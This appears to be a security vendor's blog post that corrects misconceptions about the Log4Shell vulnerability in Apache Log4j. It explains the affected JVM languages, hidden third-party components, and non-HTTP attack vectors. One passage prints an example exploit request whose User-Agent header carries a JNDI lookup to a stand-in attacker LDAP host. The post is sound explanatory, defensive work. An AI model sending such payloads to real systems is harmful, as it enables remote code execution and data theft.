Over the last few days, there’s been a lot of talk about the Apache Log4J RCE also known as log4shell application security vulnerability. This is a good thing since everybody even remotely affected by this situation should have a basic understanding of what it is about. However, it is inevitable that certain misconceptions are born when lots of people with different levels of technical understanding get exposed to this information.
In this post, we’ll try to clarify some of the misunderstandings that we’ve seen so far.
Log4Shell requires Apache Web Server
This one clearly comes from the full name of the affected library (Apache Log4j) and the name of perhaps the most iconic project within the Apache Foundation: Apache HTTP Server. Both are projects within the Apache Software Foundation, but that’s as far as the relationship goes.
The reality is that Log4Shell application security vulnerability has nothing to do with the Apache web server and, most importantly, it doesn’t require the presence of this server – or any other in particular – to be exploitable. In fact, the Apache webserver is written in C, while Log4j is a Java library.
A more generic version of this misconception is that this application security vulnerability lives within your web server. The fact that most proofs and real-live attacks start with an HTTP request seems to support this idea. However, it would be dangerous to think this way. Log4j is a generic logging library used throughout the Java/JVM ecosystem. The only requirement for this vulnerability to be exploited is for the attacker to be able to send a specially-crafted string of text to your platform (through any mechanism available) and for that string to be written to a log file – using log4j – by any component of your platform.
It’s important to keep in mind that we often run “secondary” or supporting programs and tools: think Docker sidecars, Kubernetes DaemonSets, and many other tools that you might use within your platform. These could be writing logs themselves and hence contain the log4shell application security vulnerability.
If you don’t use Java you are not affected
Obviously, Log4j means “log for Java”, so it only affects Java code, right? Unfortunately, it’s not that simple.
The Java ecosystem is huge and mostly hinges around the Java Virtual Machine (JVM). Any language that can be compiled to JVM “bytecode” can potentially use any library written in, or for, Java-like Log4j. And there are lots of such languages: Kotlin, Scala, Groovy, Clojure, etc. (the list is quite long; please see the list in Wikipedia).
At AppSec Phoenix we use variation extensively, so we are using the Java/JVM platform and could be susceptible to this vulnerability. However, we don’t use Log4j in our Kotlin applications, so we have not been affected by Log4Shell. But we are some of the lucky few with an updated asset register and a deep knowledge of our codebase. Many organizations have an ocean of assets in a spreadsheet last updated in 1998.
Just need to check your code for Jog4j
The most obvious first step when protecting yourself from this vulnerability is to check your code (any JVM-based language, not just Java) to ensure that you are not using any Log4j classes.
From here it naturally follows that you check your whole dependency chain for Log4j usage. There are a few tools and scanners that will help you with this task.
But we shouldn’t forget what we said in our first point: Log4j could be running in a secondary 3rd-party tool or service that you might have even forgotten that is there. Parsers, emailers, filters,… there could be lots of these tools running alongside your main services. Those are potentially vulnerable as well. Remember that any component that uses Log4j and writes logs with data that has come from the outside world is a vulnerable component.
We are aware of these not-so-obvious components at AppSec Phoenix. Even though we use Rust for most of our secondary/supporting services, we have systematically checked all our containers for any tools that could be subject to this application security vulnerability.
Alternatively, look at this mindmap
Log4Shell requires JNDI/LDAP in my organisation
Actually, this is the other way around. The full impact of Log4Shell requires access to an LDAP server, but this server is part of the attacker’s infrastructure. The attack doesn’t target your LDAP services, it uses the attacker’s services – accessed by Log4j when trying to interpolate the specially crafted payload – to download and run their code (RCE).
However, keep in mind that there are “milder” variations of the attack that don’t involve RCE but can still leak critical information about your systems.
Attacks only come through HTTP requests
Granted, one of the most popular examples of Log4Shell exploit – and perhaps the most common in the wild – is an HTTP request similar to this:
GET / HTTP/1.1
Host: vulnerable.com
User-Agent: ${jndi:ldap://attacker.com/path/to/malicious/javaclass}An HTTP request with a header containing the special string that would trigger the vulnerability – making Log4j go out to the attacker’s LDAP server and fetch the attacker’s code. This attack works because it’s very common for an HTTP request to get logged at one, or several, points during its processing by different components of a system. That means that the “${…}” string is very likely to get logged and hence processed by Log4j, triggering the attack of this application security vulnerability.
But this is not the only way that the attack can take place. Remember, any situation in which a string coming from the outside world gets written to a log by Log4j is a potential attack vector. Whether it is data entered in a form, parameters to a command line tool, even contents of an email; anything that can get logged can trigger the attack.
Unfortunately, since we are basically logging everything nowadays, this means that almost any input can be used as an attack vector to trigger this application security vulnerability.
We hope that this has helped a bit in clarifying what Log4Shell is and isn’t, and hence in how to protect your organisation against it.
AppSec Phoenix Log4Shell posts:
Other references:
A detailed description of the mechanism: https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/
